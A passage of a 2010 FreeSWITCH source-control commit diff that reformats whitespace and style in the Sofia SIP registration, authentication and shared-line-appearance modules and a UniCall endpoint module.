switch_rfc822_date(date, switch_micro_time_now());
nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact),
- TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
- NUTAG_WITH_THIS(nua),
- SIPTAG_DATE_STR(date),
- TAG_END());
+ TAG_IF(path_val, SIPTAG_PATH_STR(path_val)), NUTAG_WITH_THIS(nua), SIPTAG_DATE_STR(date), TAG_END());
if (s_event) {
switch_event_fire(&s_event);
}
-
+
if (*contact_str && sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE_SYLANTRO)) {
sofia_sla_handle_register(nua, profile, sip, exptime, contact_str);
}
@@ -1324,14 +1302,14 @@
}
- end:
+ end:
switch_safe_free(dup_mwi_account);
if (auth_params) {
switch_event_destroy(&auth_params);
}
- return (uint8_t)r;
+ return (uint8_t) r;
}
@@ -1346,7 +1324,7 @@
int network_port = 0;
char *is_nat = NULL;
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
if (!(sip->sip_contact && sip->sip_contact->m_url)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
@@ -1363,7 +1341,7 @@
if (sip && sip->sip_via) {
const char *port = sip->sip_via->v_port;
const char *host = sip->sip_via->v_host;
-
+
if (host && sip->sip_via->v_received) {
is_nat = "via received";
} else if (host && strcmp(network_ip, host)) {
@@ -1391,13 +1369,13 @@
break;
}
}
-
+
if (ok) {
is_nat = last_acl;
}
}
}
-
+
if (profile->reg_acl_count) {
uint32_t x = 0;
int ok = 1;
@@ -1424,7 +1402,7 @@
nua_respond(nh, SIP_500_INTERNAL_SERVER_ERROR, TAG_END());
goto end;
}
-
+
if (is_nat && profile->local_network && switch_check_network_list_ip(network_ip, profile->local_network)) {
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s is on local network, not seting NAT mode.\n", network_ip);
@@ -1433,7 +1411,7 @@
}
sofia_reg_handle_register(nua, profile, nh, sip, type, key, sizeof(key), &v_event, is_nat);
-
+
if (v_event) {
switch_event_destroy(&v_event);
}
@@ -1458,7 +1436,7 @@
nua_handle_destroy(nh);
}
}
-
+
if (sofia_private && sofia_private->gateway) {
reg_state_t ostate = sofia_private->gateway->state;
switch (status) {
@@ -1468,8 +1446,8 @@
const char *new_expires;
uint32_t expi;
if (contact->m_next) {
- const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
- for ( ; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
+ const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
+ for (; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
}
if (!contact) {
@@ -1479,7 +1457,7 @@
if (contact->m_expires) {
new_expires = contact->m_expires;
expi = (uint32_t) atoi(new_expires);
-
+
if (expi > 0 && expi != sofia_private->gateway->freq) {
sofia_private->gateway->freq = expi;
sofia_private->gateway->expires_str = switch_core_sprintf(sofia_private->gateway->pool, "%d", expi);
@@ -1503,7 +1481,7 @@
default:
sofia_private->gateway->state = REG_STATE_FAILED;
sofia_private->gateway->failure_status = status;
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
sofia_private->gateway->name, switch_str_nil(phrase), status, ++sofia_private->gateway->failures);
break;
}
@@ -1572,14 +1550,14 @@
if (!gateway) {
if (gw_name) {
- var_gateway = sofia_reg_find_gateway((char *)gw_name);
+ var_gateway = sofia_reg_find_gateway((char *) gw_name);
}
if (!var_gateway && realm) {
char rb[512] = "";
char *p = (char *) realm;
- while((*p == '"')) {
+ while ((*p == '"')) {
p++;
}
switch_set_string(rb, p);
@@ -1594,15 +1572,15 @@
if (!var_gateway && sip && sip->sip_to) {
var_gateway = sofia_reg_find_gateway(sip->sip_to->a_url->url_host);
}
-
+
if (var_gateway) {
gateway = var_gateway;
}
}
-
+
if (!(scheme && realm)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No scheme and realm!\n");
goto end;
@@ -1614,12 +1592,12 @@
switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Matching gateway found\n");
- goto cancel;
+ goto cancel;
}
if (profile->debug) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n",
- (sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
+ (sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
}
ss_state = nua_callstate_authenticating;
@@ -1638,7 +1616,7 @@
nua_cancel(nh, TAG_END());
}
- end:
+ end:
if (var_gateway) {
sofia_reg_release_gateway(var_gateway);
@@ -1677,20 +1655,15 @@
return 0;
}
-auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
- sip_authorization_t const *authorization,
- sip_t const *sip,
+auth_res_t sofia_reg_parse_auth(sofia_profile_t *profile,
+ sip_authorization_t const *authorization,
+ sip_t const *sip,
const char *regstr,
- char *np,
- size_t nplen,
- char *ip,
- switch_event_t **v_event,
- long exptime,
- sofia_regtype_t
- regtype,
- const char *to_user,
- switch_event_t **auth_params,
- long *reg_count)
+ char *np,
+ size_t nplen,
+ char *ip,
+ switch_event_t **v_event,
+ long exptime, sofia_regtype_t regtype, const char *to_user, switch_event_t **auth_params, long *reg_count)
{
int indexnum;
const char *cur;
@@ -1781,7 +1754,7 @@
nonce_cb_t cb = { 0 };
long nc_long = 0;
first = 1;
-
+
if (nc) {
nc_long = strtoul(nc, 0, 16);
sql = switch_mprintf("select nonce,last_nc from sip_authentication where nonce='%q' and last_nc < %lu", nonce, nc_long);
@@ -1791,7 +1764,7 @@
cb.nonce = np;
cb.nplen = nplen;
-
+
switch_assert(sql != NULL);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_nonce_callback, &cb);
free(sql);
@@ -1883,12 +1856,11 @@
domain_name = realm;
}
- if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username,
- domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
+ if (switch_xml_locate_user("id", zstr(username) ? "nobody" : username, domain_name, ip, &xml, &domain, &user, &group, params) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n"
"You must define a domain called '%s' in your directory and add a user with the id=\"%s\" attribute\n"
- "and you must configure your device to use the proper domain in it's authentication credentials.\n"
- , username, domain_name, domain_name, username);
+ "and you must configure your device to use the proper domain in it's authentication credentials.\n", username, domain_name,
+ domain_name, username);
ret = AUTH_FORBIDDEN;
goto end;
@@ -1900,7 +1872,7 @@
goto end;
}
}
-
+
if (!(number_alias = (char *) switch_xml_attr(user, "number-alias"))) {
number_alias = zstr(username) ? "nobody" : username;
}
@@ -1940,7 +1912,7 @@
if (!strcasecmp(var, "mwi-account")) {
mwi_account = val;
}
-
+
if (!strcasecmp(var, "user-agent-filter")) {
user_agent_filter = val;
}
@@ -2030,18 +2002,12 @@
}
/* Check if network_ip is a proxy allowed to send us calls */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
-
+
for (x = 0; x < profile->proxy_acl_count; x++) {
last_acl = profile->proxy_acl[x];
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "checking %s against acl %s\n",
- ip, last_acl
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", ip, last_acl);
if (switch_check_network_list_ip(ip, last_acl)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "%s is a proxy according to the %s acl\n",
- ip, last_acl
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s is a proxy according to the %s acl\n", ip, last_acl);
network_ip_is_proxy = 1;
break;
}
@@ -2055,10 +2021,7 @@
int x_auth_ip = 0;
for (un = sip->sip_unknown; un; un = un->un_next) {
if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "found auth ip [%s] header of [%s]\n",
- un->un_name, un->un_value
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
if (!zstr(un->un_value)) {
if (!switch_check_network_list_ip(un->un_value, auth_acl)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by user acl %s\n", un->un_value, auth_acl);
@@ -2066,9 +2029,7 @@
goto end;
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "IP %s allowed by acl %s, checking credentials\n",
- un->un_value, auth_acl
- );
+ "IP %s allowed by acl %s, checking credentials\n", un->un_value, auth_acl);
x_auth_ip = 1;
break;
}
@@ -2084,12 +2045,12 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP [%s] passed ACL check [%s]\n", ip, auth_acl);
}
}
-
+
if (zstr(passwd) && zstr(a1_hash)) {
ret = AUTH_OK;
goto skip_auth;
}
-
+
if (!a1_hash) {
input = switch_mprintf("%s:%s:%s", username, realm, passwd);
su_md5_init(&ctx);
@@ -2104,41 +2065,43 @@
if (user_agent_filter) {
if (switch_regex_match(user_agent, user_agent_filter) == SWITCH_STATUS_SUCCESS) {
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ "SIP auth OK (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
}
} else {
ret = AUTH_FORBIDDEN;
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter, user_agent);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "SIP auth failure (REGISTER) due to user-agent-filter. Filter \"%s\" User-Agent \"%s\"\n", user_agent_filter,
+ user_agent);
}
goto end;
}
}
- if (max_registrations_perext > 0 &&
- (sip && sip->sip_contact &&
- (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
- /* if expires is null still process */
- /* expires == 0 means the phone is going to unregiser, so don't count against max */
+ if (max_registrations_perext > 0 && (sip && sip->sip_contact && (sip->sip_contact->m_expires == NULL || atol(sip->sip_contact->m_expires) > 0))) {
+ /* if expires is null still process */
+ /* expires == 0 means the phone is going to unregiser, so don't count against max */
int count = 0;
call_id = sip->sip_call_id->i_id;
switch_assert(call_id);
-
+
sql = switch_mprintf("select count(sip_user) from sip_registrations where sip_user='%q' AND call_id <> '%q'", username, call_id);
switch_assert(sql != NULL);
sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_regcount_callback, &count);
free(sql);
-
- if (count+1 > max_registrations_perext) {
+
+ if (count + 1 > max_registrations_perext) {
ret = AUTH_FORBIDDEN;
if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "SIP auth failure (REGISTER) due to reaching max allowed registrations. Count: %d\n", count);
}
goto end;
}
}
-
+
for_the_sake_of_interop:
if ((input = switch_mprintf("%s:%q", regstr, uri))) {
@@ -2187,7 +2150,7 @@
switch_event_create_plain(v_event, SWITCH_EVENT_REQUEST_PARAMS);
}
-
+
if (v_event && *v_event) {
short int xparams_type[6];
switch_xml_t xparams[6];
@@ -2203,12 +2166,12 @@
if (mwi_account) {
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, "mwi-account", mwi_account);
}
-
+
if ((uparams = switch_xml_child(user, "params"))) {
xparams_type[i] = 0;
xparams[i++] = uparams;
}
-
+
if (group && (gparams = switch_xml_child(group, "params"))) {
xparams_type[i] = 0;
xparams[i++] = gparams;
@@ -2238,15 +2201,15 @@
int j = 0;
for (j = 0; j < i; j++) {
- for (param = switch_xml_child(xparams[j], (xparams_type[j]?"variable":"param")); param; param = param->next) {
+ for (param = switch_xml_child(xparams[j], (xparams_type[j] ? "variable" : "param")); param; param = param->next) {
const char *var = switch_xml_attr_soft(param, "name");
const char *val = switch_xml_attr_soft(param, "value");
sofia_gateway_t *gateway_ptr = NULL;
- if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-",4) || !strcasecmp(var, "register-gateway")) ) {
+ if (!zstr(var) && !zstr(val) && (xparams_type[j] == 1 || !strncasecmp(var, "sip-", 4) || !strcasecmp(var, "register-gateway"))) {
if (!switch_event_get_header(*v_event, var)) {
if (profile->debug) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n",var, val);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "event_add_header -> '%s' = '%s'\n", var, val);
}
switch_event_add_header_string(*v_event, SWITCH_STACK_BOTTOM, var, val);
} else {
@@ -2326,7 +2289,7 @@
#else
#define LL_FMT "l"
#endif
- sql = switch_mprintf("update sip_authentication set expires='%"LL_FMT"u',last_nc=%lu where nonce='%s'",
+ sql = switch_mprintf("update sip_authentication set expires='%" LL_FMT "u',last_nc=%lu where nonce='%s'",
switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : exptime + 10), ncl, nonce);
switch_assert(sql != NULL);
@@ -2399,7 +2362,7 @@
sofia_gateway_t *gateway = NULL;
switch_hash_index_t *hi;
const void *var;
- void *val;
+ void *val;
switch_mutex_lock(mod_sofia_globals.hash_mutex);
for (hi = switch_hash_first(NULL, mod_sofia_globals.gateway_hash); hi; hi = switch_hash_next(hi)) {
Modified: freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_sofia/sofia_sla.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -74,7 +74,7 @@
char exp_str[256] = "";
char my_contact[256] = "";
char *sql;
- struct sla_helper sh = { { 0 } };
+ struct sla_helper sh = { {0} };
char *contact_str = sofia_glue_strip_uri(full_contact);
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
char network_ip[80];
@@ -83,17 +83,17 @@
char *route_uri = NULL;
char port_str[25] = "";
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
- sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
+ sql = switch_mprintf("select call_id from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
mod_sofia_globals.hostname, profile->name, contact_str);
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, get_call_id_callback, &sh);
free(sql);
-
+
if (*sh.call_id) {
if (!(nh = nua_handle_by_call_id(profile->nua, sh.call_id))) {
- if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
+ if ((sql = switch_mprintf("delete from sip_shared_appearance_dialogs where hostname='%q' and profile_name='%q' and contact_str='%q'",
mod_sofia_globals.hostname, profile->name, contact_str))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
@@ -110,15 +110,15 @@
switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
- if (sofia_glue_check_nat(profile, network_ip)) {
- switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
+ if (sofia_glue_check_nat(profile, network_ip)) {
+ switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
profile->extsipip, port_str, sofia_glue_transport2str(transport), exp_str);
} else {
- switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
+ switch_snprintf(my_contact, sizeof(my_contact), "<sip:%s@%s%s;transport=%s>;expires=%s", profile->sla_contact,
profile->sipip, port_str, sofia_glue_transport2str(transport), exp_str);
}
- dst = sofia_glue_get_destination((char*) full_contact);
+ dst = sofia_glue_get_destination((char *) full_contact);
if (dst->route_uri) {
route_uri = sofia_glue_strip_uri(dst->route_uri);
@@ -130,9 +130,7 @@
SIPTAG_FROM(sip->sip_to),
SIPTAG_CONTACT_STR(my_contact),
SIPTAG_EXPIRES_STR(exp_str),
- SIPTAG_EVENT_STR("dialog;sla;include-session-description"),
- SIPTAG_ACCEPT_STR("application/dialog-info+xml"),
- TAG_NULL());
+ SIPTAG_EVENT_STR("dialog;sla;include-session-description"), SIPTAG_ACCEPT_STR("application/dialog-info+xml"), TAG_NULL());
sofia_glue_free_destination(dst);
@@ -158,13 +156,13 @@
sofia_transport_t transport = sofia_glue_url2transport(sip->sip_contact->m_url);
- sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
+ sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
/*
* XXX MTK FIXME - we don't look at the tag to see if NUTAG_SUBSTATE(nua_substate_terminated) or
* a Subscription-State header with state "terminated" and/or expiration of 0. So we never forget
* about them here.
* likewise, we also don't have a hook against nua_r_notify events, so we can't see nua_substate_terminated there.
- */
+ */
/*
* extracting AOR is weird...
@@ -180,30 +178,29 @@
* ok, and now that we HAVE the AOR, we REALLY should go check in the XML config and see if this particular
* extension is set up to have shared appearances managed. right now it is all-or-nothing on the profile,
* which won't be sufficient for real life. FIXME XXX MTK
- */
+ */
/* then the subscriber is the user at their network location... this is arguably the wrong way, but works so far... */
subscriber = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_from->a_url->url_user,
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
-
+
if ((sql =
- switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
- subscriber, profile->name, mod_sofia_globals.hostname
- ))) {
+ switch_mprintf("delete from sip_shared_appearance_subscriptions where subscriber='%q' and profile_name='%q' and hostname='%q'",
+ subscriber, profile->name, mod_sofia_globals.hostname))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
if ((sql =
switch_mprintf("insert into sip_shared_appearance_subscriptions (subscriber, call_id, aor, profile_name, hostname, contact_str, network_ip) "
- "values ('%q','%q','%q','%q','%q','%q','%q')",
- subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
+ "values ('%q','%q','%q','%q','%q','%q','%q')",
+ subscriber, sip->sip_call_id->i_id, aor, profile->name, mod_sofia_globals.hostname, contact_str, network_ip))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
if (strstr(contact_str, ";fs_nat")) {
char *p;
- route_uri = sofia_glue_get_url_from_contact((char *)contact_str, 1);
+ route_uri = sofia_glue_get_url_from_contact((char *) contact_str, 1);
if ((p = strstr(contact_str, ";fs_"))) {
*p = '\0';
}
@@ -222,21 +219,17 @@
switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
- if (sofia_glue_check_nat(profile, network_ip)) {
- sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip,
- port_str, sofia_glue_transport2str(transport));
+ if (sofia_glue_check_nat(profile, network_ip)) {
+ sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip, port_str, sofia_glue_transport2str(transport));
} else {
- sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip,
- port_str, sofia_glue_transport2str(transport));
+ sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip, port_str, sofia_glue_transport2str(transport));
}
- nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
- TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
- SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
- SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
+ nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua), TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
+ SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
/* sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
TAG_END());
-
+
switch_safe_free(aor);
switch_safe_free(subscriber);
switch_safe_free(route_uri);
@@ -251,7 +244,8 @@
void sofia_sla_handle_sip_r_subscribe(int status,
char const *phrase,
- nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
+ nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+ tagi_t tags[])
{
if (status >= 300) {
nua_handle_destroy(nh);
@@ -267,8 +261,8 @@
}
if ((sql = switch_mprintf("insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) "
- "values ('%q','%q','%q','%q','%ld')",
- profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long)expires))) {
+ "values ('%q','%q','%q','%q','%ld')",
+ profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long) expires))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
@@ -298,20 +292,20 @@
* yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
* should have). for the current prototype stage, this works ok anyway.
* and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
- * "target" in the payload XML, of course).
+ * "target" in the payload XML, of course).
* also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
* an appearance index to the outbound invite for the "next free appearance". this can lead to race
* conditions where a call shows up on slightly different line key numbers at different phones, making
* "pick up on line X" meaningless if such a race occurs. again, it is a prototype. we can fix it later.
- */
+ */
/* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
- if ( (!sip->sip_event)
- || (strcasecmp(sip->sip_event->o_type, "dialog"))
- || !msg_params_find(sip->sip_event->o_params, "sla") ) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,"sent to sla-agent but not dialog;sla\n");
+ if ((!sip->sip_event)
+ || (strcasecmp(sip->sip_event->o_type, "dialog"))
+ || !msg_params_find(sip->sip_event->o_params, "sla")) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "sent to sla-agent but not dialog;sla\n");
return;
}
@@ -326,16 +320,15 @@
* so we don't reflect it back at anyone who is the "boss" config, but we do reflect it back at the "secretary"
* config. if that breaks the phone, just set them all up as the "boss" config where ext#==third-party#
*/
- contact = switch_mprintf("sip:%s@%s;transport=%s",sip->sip_contact->m_url->url_user,
+ contact = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_contact->m_url->url_user,
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
if (sip->sip_payload && sip->sip_payload->pl_data) {
sql = switch_mprintf("select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where "
- "aor='%q' and profile_name='%q' and hostname='%q'",
- aor, profile->name, mod_sofia_globals.hostname);
+ "aor='%q' and profile_name='%q' and hostname='%q'", aor, profile->name, mod_sofia_globals.hostname);
helper.profile = profile;
- helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
+ helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
/* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_sla_sub_callback, &helper);
@@ -360,7 +353,7 @@
char *route_uri = NULL;
char *xml_fixup = NULL;
char *fixup = NULL;
- nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
+ nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
if (nh) {
@@ -384,24 +377,21 @@
}
if (helper->profile->extsipip) {
- if (sofia_glue_check_nat(helper->profile, network_ip)) {
+ if (sofia_glue_check_nat(helper->profile, network_ip)) {
fixup = switch_string_replace(helper->payload, helper->profile->sipip, helper->profile->extsipip);
- } else {
+ } else {
fixup = switch_string_replace(helper->payload, helper->profile->extsipip, helper->profile->sipip);
}
xml_fixup = fixup;
} else {
xml_fixup = helper->payload;
}
-
- nua_notify(nh,
- SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
- TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
- SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
- SIPTAG_PAYLOAD_STR(xml_fixup),
- TAG_END());
+
+ nua_notify(nh, SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
+ TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
+ SIPTAG_PAYLOAD_STR(xml_fixup), TAG_END());
switch_safe_free(route_uri);
- if (fixup && fixup != helper->payload) {
+ if (fixup && fixup != helper->payload) {
free(fixup);
}
}
Modified: freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -30,7 +30,7 @@
* mod_unicall.c -- UniCall endpoint module
*
*/
-
+
/* This is a work in progress. Unfinished. Non-functional */
#include <switch.h>
@@ -39,7 +39,7 @@
SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load);
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown);
//SWITCH_MODULE_RUNTIME_FUNCTION(mod_unicall_runtime);
-SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL); //mod_unicall_runtime);
+SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL); //mod_unicall_runtime);
#define MAX_SPANS 128
@@ -47,77 +47,74 @@
static switch_memory_pool_t *module_pool = NULL;
static volatile int running = 1;
-typedef struct
-{
- int span;
- const char *id;
- const char *protocol_class;
- const char *protocol_variant;
- int protocol_end;
- int outgoing_ok;
+typedef struct {
+ int span;
+ const char *id;
+ const char *protocol_class;
+ const char *protocol_variant;
+ int protocol_end;
+ int outgoing_ok;
char *dialplan;
char *context;
- int fd;
- uc_t *uc;
+ int fd;
+ uc_t *uc;
} span_data_t;
span_data_t *span_data[MAX_SPANS];
typedef enum {
- TFLAG_IO = (1 << 0),
- TFLAG_INBOUND = (1 << 1),
- TFLAG_OUTBOUND = (1 << 2),
- TFLAG_DTMF = (1 << 3),
- TFLAG_VOICE = (1 << 4),
- TFLAG_HANGUP = (1 << 5),
- TFLAG_LINEAR = (1 << 6),
- TFLAG_CODEC = (1 << 7),
- TFLAG_BREAK = (1 << 8)
+ TFLAG_IO = (1 << 0),
+ TFLAG_INBOUND = (1 << 1),
+ TFLAG_OUTBOUND = (1 << 2),
+ TFLAG_DTMF = (1 << 3),
+ TFLAG_VOICE = (1 << 4),
+ TFLAG_HANGUP = (1 << 5),
